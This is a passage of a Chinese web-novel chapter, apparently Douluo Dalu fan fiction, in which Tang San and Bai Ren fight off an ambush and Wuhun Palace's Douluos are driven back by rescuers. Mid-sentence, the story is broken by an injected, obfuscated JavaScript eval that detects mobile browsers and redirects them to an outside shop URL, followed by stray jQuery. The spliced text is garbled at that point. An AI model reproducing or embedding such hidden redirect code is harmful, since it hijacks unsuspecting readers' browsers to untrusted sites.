山道两侧的阴影同时压下时,最先落下来的不是魂力威压,而是一片黑色人影。
他们从林间、山壁、巨石后方跃出,身上没有任何学院标识,脸上也覆着黑巾。第一轮魂技几乎同时砸向车队前后,皇家骑士团的队形瞬间被撕开。马匹受惊嘶鸣,几辆马车被震得横移出去,车轮碾过碎石,发出刺耳的断裂声。
这群人一出手,便是冲着取命来的。
唐三的蓝银草从掌心探出的瞬间,白仞已经推开另一侧车门。蓝银草贴着地面铺开,先将宁荣荣和奥斯卡所在的位置护住,又从车轮下绕出,把正要冲向车门的三名黑衣魂师绊得身形一滞。
下一瞬,灰白羽影从侧面掠过。白仞的寂灭双翼尚未完全舒展,羽毛已经脱离翼骨,化成一枚枚细长羽刃。最先冲到马车旁的几名黑衣魂师修为并不算高,更像是被派来撕开车队阵型的前锋;可他们出手狠辣,落点全在车门、辅助系与伤员所在的位置。
白仞没有再按比赛时的分寸出手。羽刃从车门侧面穿出,先斩开对方已经凝起的魂力,又顺着空隙刺入要害。最先冲来的黑衣魂师刚抬起手,咽喉侧面便被羽刃贯穿;另一个试图从车顶落下的人影还未站稳,心口已经被灰白光线击中,整个人从车厢上翻了下去。
那人甚至没有来得及发出声音。
皇家骑士团并非没有反应。最外侧的骑士已经结阵迎敌,可伏兵来得太近,第一轮魂技又同时砸向车队前后,骑士团被迫先护住受惊的马匹和翻倒的车厢,一时无法立刻回援学生所在的位置。
戴沐白从另一辆马车旁冲出,白虎金刚变瞬间释放,一掌拍飞试图突破防线的魂尊。马红俊的凤凰火线从车队另一侧喷出,将林间逼近的黑衣魂师烧得连连后退。朱竹清的身影贴着阴影滑过,专门截杀那些想绕到辅助系身后的敏攻系敌人。宁荣荣的九宝琉璃塔升起,光芒一层层落在众人身上,奥斯卡的香肠也几乎在同一时间递到每个人手边。
史莱克的众人早已不是第一次面对危险。
可这一次,唐三和白仞的出手方式让所有人都意识到,他们过去在赛场上看到的,只是被规则束住的另一面。
唐三没有再单纯依靠蓝银草缠绕控制。他每一次拉拽都伴随着暗器和毒粉。蓝银草拖住敌人半息,飞针便从死角射入;敌人用魂力震断蓝银草,脚下却会立刻踩进他提前洒下的细粉之中,动作迟缓的一瞬,已经足够白仞的羽刃从旁穿过。
白仞也不再只切断武魂和魂技。他的羽刃从人群缝隙中穿行,专刺喉、目、心口与关节内侧。灰白光影掠过之处,敌人的魂力流转会被短暂截断,紧接着便被唐三的暗器补上致命一击。
两人一句话也没交代,出手却接得严丝合缝,像早已把对方下一步的位置刻进了本能里。
唐三的蓝银草铺开时,白仞的羽刃便避开草叶牵引的方向,从另一侧封死敌人退路;白仞切断魂技连接的瞬间,唐三的袖箭已经顺着那道空隙射出。第一批黑衣魂师原本想借数量冲散学生,却在短短数十息间被杀出一片空缺。
马红俊看得后背发凉,忍不住低骂了一声:“这群人到底什么来头?”
“来杀人的。”戴沐白挡在宁荣荣前方,白虎护身障硬接下一道魂技,脸色沉得厉害,“别留手。”
话音未落,另一侧忽然传来一声惨叫。小舞强撑着跃出马车,一记腰弓踢断了偷袭奥斯卡那人的手臂。她落地时腿上的麻意还没完全退,身形晃了一下,唐三和白仞几乎同时转头。
“小舞,回来。”唐三的话出口很快,蓝银草已经从她脚边卷过,替她拦住后方扑来的魂师。
白仞的羽刃几乎同时从小舞身侧穿过,把第二个靠近的黑衣魂师钉在树干上。他没有在这时候训她,只将羽刃重新收拢到她周围半丈以内,话说得很短:“护住荣荣和小奥,别追出去。”
小舞咬了咬牙,没有再逞强,转身护住宁荣荣和奥斯卡。
伏兵的阵型很快出现变化。他们一开始像是想把整支车队撕散,可发现史莱克这边杀得太快后,便不再分散消耗。越来越多的攻击绕过旁人,朝唐三所在的位置压去。即便白仞的羽刃杀伤更快,那些人也仍试图用数量从唐三身前撕出一道口子。
白仞背后的羽刃微微一偏,第一反应便是封住唐三身前那片空隙,把他从最显眼的中心位置推开。可他的手刚抬起一点,便停在半空。
唐三已经先一步把蓝银草扎进地面,草叶一层层向外铺开,硬是把正面压来的敌人拖在了原地。白仞抬起的手停了片刻,最后没有去碰唐三的肩。于是他转过身,背后寂灭羽刃无声散开,从唐三看不见的右后方穿入林间,截住三道暗中逼近的魂技。那几名黑衣魂师还没露面,魂力连接便被灰白羽光斩断,紧接着毒针从蓝银草缝隙中飞出,刺入他们眉心。
伏兵很快死了一大片,黑衣人后方终于传来一道冷哼。山道上方的魂力骤然一沉,一名身形魁梧的黑衣魂师踏碎山石落下,八个魂环在他身上升起。与他一同出现的,还有两名七环魂圣,一人武魂似重甲猛兽,落地时连山道都震了震;另一人身形瘦长,手中细刃泛着幽光,显然是专门负责截杀要害的敏攻系魂师。
八环魂斗罗,两名魂圣。
弗兰德几乎在魂环亮起的一刻冲上高空,猫鹰武魂展开,尖锐鹰鸣划破山道。柳二龙从前方马车跃出,赤龙武魂带着炽热魂力直接扑向其中一名魂圣。她这几日心情本就压着火,此刻遇到真正杀局,那点压抑全都化作了龙火。
“敢动我的学生,找死!”
赤龙真身尚未完全展开,火焰已经撕开一片黑衣魂师。那名重甲魂圣被她正面撞得后退数步,脸色骤变。弗兰德则从空中掠向魂斗罗,速度快得几乎只能看见残影,可魂斗罗到底等级压制太强,抬手一掌便震得弗兰德在半空中翻出数丈。
黄金铁三角无法成型。大师不在,弗兰德和柳二龙只能硬顶。
白仞看见弗兰德被震退,寂灭双翼猛然展开。唐三几乎同时踏前一步,蓝银草从他脚下疯长而出,大片蓝色草叶与灰白羽影在半空中交织,魂力通路在两人之间自然而然地连成一线。
他们没有像赛场上那样提前调整呼吸,也没有等待最佳时机。战场上的杀意与血腥味逼得所有迟疑都变得多余。蓝银草根系铺入山道裂缝,寂灭羽影落入草叶之间,生机与寂灭在一瞬间相互咬合。
蓝银寂灭天域展开。灰蓝色光域从唐三和白仞脚下扩散开来,像一张无声铺开的网,将史莱克众人和前方三名高阶魂师一并笼入其中。黑衣魂师冲进天域后,动作明显迟缓半拍,魂技刚要释放,便有细小蓝银草缠住脚踝,灰白羽影顺着魂力流转的节点切入,将魂技从半途截断。
弗兰德身在天域边缘,第一时间察觉到不同。他不需要唐三和白仞告诉他哪里是破绽。那名魂斗罗的魂力流向在光域中变得清晰起来,每一次发力前,都会有短暂的节点亮起。弗兰德借猫鹰速度绕过正面重压,利爪擦着魂斗罗肩侧划过,终于逼得对方第一次退了半步。
柳二龙那边更直接。她本就是爆发极强的强攻系魂圣,天域压住对手魂力流转后,她的火焰便像找到了缝隙。赤龙爪撕开重甲魂圣的防御,硬生生在对方胸口留下数道焦黑血痕。那名敏攻魂圣想绕过她直取唐三,却在半路被蓝银草缠住脚踝,白仞羽刃从他颈侧擦过,逼得他仓促后撤。
那名魂斗罗终于变了脸色。他原本以为这两个少年再强,也不过是借着比赛规则和天赋压制同龄人。可此刻身处天域之中,他才意识到,这个武魂融合技并不是单纯攻击或防御。它改变了整片战场的判断,让史莱克所有人都能在一瞬间找到敌人的缝隙。
“杀唐三和白仞!”
魂斗罗低喝一声。
两名魂圣同时转向。唐三和白仞的融合技越强,越说明这两人必须死。黑衣魂师像听到命令般重新聚拢,哪怕被羽刃和蓝银草一层层杀倒,也仍向唐三所在的位置压去。
白仞刚要将天域向唐三身侧收紧,山道上方忽然落下一片金色花影。
那花影极美,瓣锋却冷得不像活物。
只一瞬,蓝银寂灭天域的边缘便被从外侧切开。唐三和白仞同时闷哼,原本交织的魂力通路被一股更高层次的力量强行撕断。蓝银草大片倒伏,灰白羽影碎成光点,天域在山道间晃了一下,随即崩散。
封号斗罗的威压降临时,所有声音都像被压低了。
一个身着华贵衣袍的男子从山壁上方缓缓落下。他的相貌阴柔,声音却带着一种居高临下的冷意。奇茸通天菊在他掌心舒展,花瓣轻轻一转,便让空气里布满了锋利到令人窒息的气息。
菊斗罗,月关。
白仞在看见他的瞬间,前世记忆里的画面被迅速牵起。武魂殿,长老殿,爱花成痴的封号斗罗,奇茸通天菊。
唐三也在同一刻挡到了白仞身前。
蓝银寂灭天域被强行破开,反震让唐三胸口气血翻涌。可菊斗罗的目光落下时,他第一反应仍不是去看自己,而是确认白仞有没有被破域的力量伤到。白仞背后的寂灭双翼还没有完全收回,羽缘因封号斗罗的威压而微微发颤,脸色也比刚才白了些。
菊斗罗却没有立刻下杀手。
他原本已经抬手,准备让那名魂斗罗和两名魂圣继续动手。可就在目光扫过白仞背后双翼的一瞬,他的动作忽然停住了。
那对羽翼并不纯粹。
右侧灰白羽影沉冷死寂,像是被某种不属于魂兽与魂师的力量侵蚀过,连花瓣刃靠近时都像要被那股寂灭之意削去生机。可左侧不同。哪怕同样覆着灰白光影,羽骨深处仍透出一缕极淡的金色神圣气息。那气息被压得很深,几乎只在羽翼彻底展开、魂力被封号斗罗威压逼到极限时才泄出一线。
可菊斗罗还是认出来了。那气息太熟悉,也太不该出现在这里。它属于武魂殿最深处,属于那一脉无人敢轻易提及的传承,哪怕只泄出极淡一线,也足够让月关停下手。
菊斗罗指间的花瓣停了一瞬,原本要落下的锋芒也随之悬在半空。
“这股气息……”
他没有把后面的话说出口。六翼天使四个字太重,哪怕只是相似,也不是能在这种地方随意点破的东西。更何况,白仞这对翅膀明显已经发生过异变。神圣与寂灭纠缠在一起,像是同一具武魂被硬生生撕成两半,又在死亡气息里重新长了出来。
唐三察觉到菊斗罗的视线落在白仞身上,手指在袖中扣紧。
他不是第一次面对强敌。可这一刻,他忽然清楚地意识到,封号斗罗若真要杀白仞,或者把白仞从他面前带走,他甚至来不及挡下第一击。
这种念头像冰一样从后背爬上来。
菊斗罗的目光从白仞左翼移到他胸前,神情又变了一次。
那股极淡的花香被血腥味和魂力波动压得几乎散尽,可他仍然在那一瞬捕捉到了。比起左翼深处那缕让他惊疑的神圣气息,这花香更直接,也更让他失态。
“等等。”
三名高阶魂师同时停下。
菊斗罗一步踏出,身影几乎瞬间越过唐三布下的蓝银草,来到白仞面前。唐三的昊天锤刚要在左手凝出,菊斗罗的威压已经压得他动作一滞。白仞没有后退,反而抬手轻轻按住唐三手腕,示意他不要在这一刻硬拼。
菊斗罗盯着白仞,声音里第一次出现了明显的失态:“你身上是不是有相思断肠红?”
唐三的瞳孔微微一缩。
白仞看着菊斗罗。对方眼里的杀意在那一刻退了半分,取而代之的是近乎失态的炽热。那种目光白仞并不陌生,像痴迷花草之人忽然见到世间至宝,连原本要落下的杀招都被迫停在半途。
白仞没有否认。他侧身挡住车队后方大半视线,慢慢从胸口衣襟下取出那株被他贴身收着的相思断肠红。白色花瓣在血腥山道间依旧洁净,花枝轻轻垂落,却没有半点枯败之色。它认主后便与白仞气息相连,此刻被取出,淡淡红光顺着花瓣边缘流过,连周围的杀气都被压下去几分。
菊斗罗的呼吸明显变了。
“真的是相思断肠红……”他几乎是喃喃地开口,目光再也无法从那株花上移开,“这种仙品,竟然真的会认你为主。”
白仞没有解释。菊斗罗抬眼看他,态度已经与方才完全不同。
相思断肠红认主,左翼又藏着近似天使一脉的神圣气息。无论哪一点,都足够让他无法再把白仞当作普通的史莱克学员处理。
他看白仞的眼神不再像看一个需要被除掉的威胁,而像看一件绝不能损毁、也绝不能放任流落在外的珍贵之物。
“你不能死。”
唐三听见这三个字,心中却没有半分放松。
果然,菊斗罗下一句话便落了下来:“带他回武魂殿。唐三,杀。”
魂斗罗与两名魂圣再次抬头。
唐三几乎在同一瞬握住昊天锤,蓝银草从脚下暴起。白仞却先一步开口:“我可以跟你走。”
唐三猛地看向他。
白仞没有回头,只看着菊斗罗:“但唐三不能死。”
菊斗罗像是听见了什么荒唐的话,唇角微微一挑:“你在和我谈条件?”
白仞将相思断肠红重新护回衣襟下,话说得很清晰:“我和他有武魂融合技。他死了,我的价值也会减半。”
这句话让菊斗罗眼神稍稍一动。
他当然看见了刚才的蓝银寂灭天域。两个少年能在魂力差距极大的情况下影响魂圣与魂斗罗的战局,这样的武魂融合技,哪怕放在武魂殿也足够让人重视。可唐三不同。上面给他的命令很清楚,昊天锤已经暴露,唐昊之子不能留。
菊斗罗淡淡道:“唐三必须死。你若听话,便少吃些苦头。”
白仞收起相思断肠红,将它重新护在胸前衣襟之下。寂灭双翼在他背后彻底展开,灰白羽光一层层铺开,挡在唐三与菊斗罗之间。
“那要杀他,先杀了我。”
这句话落下时,唐三已经扣住了白仞的手腕。
力道很重,却避开了伤处。
“小白,回来。”唐三的话压得很低,几乎是从齿间逼出来的。
白仞没有回头。
唐三扣着他的手,胸口那口气几乎断了一瞬。比起自己被列为必杀目标,更让他无法接受的,是白仞竟能这样冷静地把自己放进交换里。那不是赛场上的换位,也不是战术里的掩护。白仞是真的准备站到封号斗罗面前,用自己去换唐三的一线生机。
唐三不肯松手。他握得很紧,却仍避开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739575|208369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白仞手腕上的伤处,像是连这样失控的时候,也本能地记得不能弄疼他。
戴沐白上前一步,白虎虚影在背后咆哮。小舞咬牙站到唐三另一侧,兔耳微微立起,哪怕腿上麻意未消,也没有退后半步。朱竹清的幽冥灵猫武魂附体,宁荣荣的九宝琉璃塔重新亮起,奥斯卡把恢复大香肠与飞行蘑菇肠攥在手里,马红俊身上凤凰火焰升腾,照亮了满地血迹。
七怪的武魂在山道上一一亮起。面对封号斗罗,他们当然知道自己挡不住,可没有一个人往后退。
菊斗罗的眼神冷了下来。他确实不想毁掉相思断肠红认主之人,可不代表他会任由几个孩子挡在自己面前。奇茸通天菊在他掌心转动,花瓣边缘泛起锋利金光。
就在这时,一道碧绿色毒雾从山道另一侧席卷而来。
毒雾落地的瞬间,逼得那名魂斗罗与两名魂圣同时后退。菊斗罗脸色一沉,抬手挡开毒雾,声音里多出几分厌恶:“独孤博。”
独孤博的身影从毒雾后缓缓走出,绿发在风中微动,脸上依旧是那副阴沉古怪的神情。他扫了一眼唐三,又看向白仞身后的双翼和胸口衣襟的位置,最后才把目光落回菊斗罗身上。
“月关,你们武魂殿还真是越活越有出息。”独孤博冷笑,“一群老东西,跑来截杀几个孩子。”
菊斗罗眯起眼:“独孤博,你最好别多管闲事。”
“老夫今日偏要管。”独孤博抬手,碧磷蛇皇虚影在他身后浮现,毒雾一层层压向山道,“唐三是老夫的兄弟,谁准你杀他?”
唐三和白仞终于有了喘息之机。白仞手腕仍被唐三扣着。他低头看了一眼,反手抓住唐三的手腕,魂力顺着两人相触的位置涌入。唐三立刻明白他的意思,左手昊天锤重新浮现。
这一次,不是蓝银草。
白仞背后的寂灭双翼向内收拢,灰白羽影贴上昊天锤的锤身。黑色锤体没有变得庞大,却像骤然沉入了某种更深的阴影里。灰白纹路顺着锤柄向上蔓延,每一片羽纹都像是锋利的裂痕。昊天锤本就代表极致重量与力量,而寂灭之力一旦附着其上,那份重量便多出一种切断生机与魂力的冷意。
唐三和白仞之间的魂力通路被强行打开。
这股力量既不同于他们熟悉的蓝银寂灭天域,也不像冰火两仪眼里那种温和流转的共鸣。昊天锤太重,寂灭双翼太冷,两股魂力被强行压到一起时,连他们自己的经脉都传来刺痛。昊天锤与寂灭双翼本不该轻易融合,一个沉重刚猛,一个冷寂锋利。可此刻唐三和白仞都没有退路,魂力在压力下被迫咬合,竟短暂形成了另一种雏形。
山道上的空气像被压低了一寸,正在与独孤博交手的菊斗罗忽然侧目。
菊斗罗掌心的奇茸通天菊微微一偏,花瓣边缘的金光也跟着收紧。那不是两个少年已经拥有了伤到封号斗罗的力量,而是那个尚未完全成型的融合技,一旦真正落下,可能会切开他此刻布下的魂力防御。若只有唐三和白仞,自然不足为惧。可现在他面前还有一个独孤博,毒斗罗的毒雾正缠住他的退路。
“鬼魅!”菊斗罗厉声道。
阴影里,一道黑色身影无声浮现。
鬼斗罗出现得比菊斗罗更冷,也更悄无声息。他像一片从山壁中脱出的影子,目光没有在相思断肠红上停留,也没有理会史莱克其他人,只直接落在唐三与白仞交握的手腕上。
他要打断融合。
鬼影从地面蔓延而来时,白仞背后的寂灭双翼本能一冷。鬼斗罗的气息与阴影、死亡太近,让他的武魂产生了一瞬难以言明的反应。唐三立刻将昊天锤向前压下,未成型的灰白锤影刚要落出,山道另一侧忽然亮起七彩光芒。
“七宝有名,一曰:力。二曰:速。”
温和而沉稳的声音从远处传来。
两道七宝琉璃塔的增幅光芒落下。紧接着,一柄长剑破空而至,剑气横过山道,硬生生截断了鬼斗罗蔓延到唐三与白仞脚下的阴影。
尘心立于剑光之后,白衣不染尘埃,目光冷淡地看向鬼斗罗。
宁风致从后方走出,七宝琉璃塔悬在掌心。他看见唐三手中的昊天锤,又看见白仞背后的寂灭双翼,眼神深了一瞬,却没有立刻问任何话。
“菊斗罗,鬼斗罗。”宁风致声音依旧温和,“在天斗帝国护送队伍中截杀参赛学员,武魂殿今日是不是该给一个解释?”
鬼斗罗没有回答。
菊斗罗被独孤博缠住,脸色极不好看。尘心来了,宁风致也来了,再加上独孤博,继续打下去已经不可能无声收场。唐三还没杀掉,白仞也没有带走,甚至连他们真正出手的事都已经被七宝琉璃宗撞见。
鬼斗罗看了菊斗罗一眼。
菊斗罗的目光却越过众人,落在白仞胸前。他像是仍惦记着那株相思断肠红,眼神里有不甘,也有一丝被迫压下的痴迷。
“小子,护好那朵花。”菊斗罗声音阴柔,带着寒意,“下次见面,我未必还有这样的耐心。”
白仞没有回应,唐三扣着他手腕的力道却更紧了一点。
鬼影与金色花瓣同时后撤。那名魂斗罗和两名魂圣也迅速脱离战场,残余黑衣魂师在短短几息间退入山林。独孤博没有追太深,只以毒雾封住山道两侧,确认对方彻底远离后,才冷着脸收回武魂。
山道重新安静下来。可这份安静已经与伏杀前完全不同。皇家骑士团死伤惨重,几辆马车翻倒在路旁,地上残留着蓝银草碎叶、灰白羽痕、毒雾腐蚀出的黑色痕迹,以及被剑气劈开的山石裂缝。各学院的学生都被护在后方,有些人脸色苍白,显然还没有从刚才封号斗罗的威压中回过神。
唐三和白仞同时松开手时,魂力反震终于压不住了。
唐三向后退了半步,白仞背后的双翼也随之散去大□□影碎成细光落在地面。宁荣荣连忙将九宝琉璃塔的恢复增幅落到他们身上,奥斯卡递上香肠,声音罕见地没有玩笑:“先吃。”
白仞接过香肠,却没有立刻吃。他先分出一缕魂力探向唐三,确认对方只是消耗过重,旧伤没有裂开,才低头咬了一口。
唐三察觉到那缕探来的魂力,握着香肠的手迟迟没有动。
独孤博走过来,先冷哼了一声:“小怪物,你这次惹出来的麻烦,比老夫想的还大。”
唐三苦笑了一下,还没开口,宁风致已经走近。他的目光先落在唐三身上,又看向白仞,最后在两人之间停了一瞬。尘心站在他身侧,剑意尚未完全收敛,视线扫过白仞刚刚收回的寂灭双翼,又极轻地看了一眼他胸前衣襟的位置。
宁风致收起七宝琉璃塔,仍旧用那副温和口吻开口:“小三,小白,今日之后,有些事恐怕不能等到武魂城再说了。”
弗兰德和柳二龙也已经从前方赶来。柳二龙身上还带着火焰余温,脸色难看得厉害。大师不在,学生却在路上遭到这样的截杀,她眼中压着的怒意几乎快要烧出来。弗兰德看了唐三和白仞一眼,没有反对宁风致的话。
车队需要重新整顿,伤员也要安置。皇家骑士团开始清理道路,各学院老师忙着清点人数。宁风致让人重新安排马车,独孤博站在一旁,虽然嘴上不耐烦,却没有离开。
唐三和白仞被请上了宁风致、尘心与独孤博所在的同一辆马车。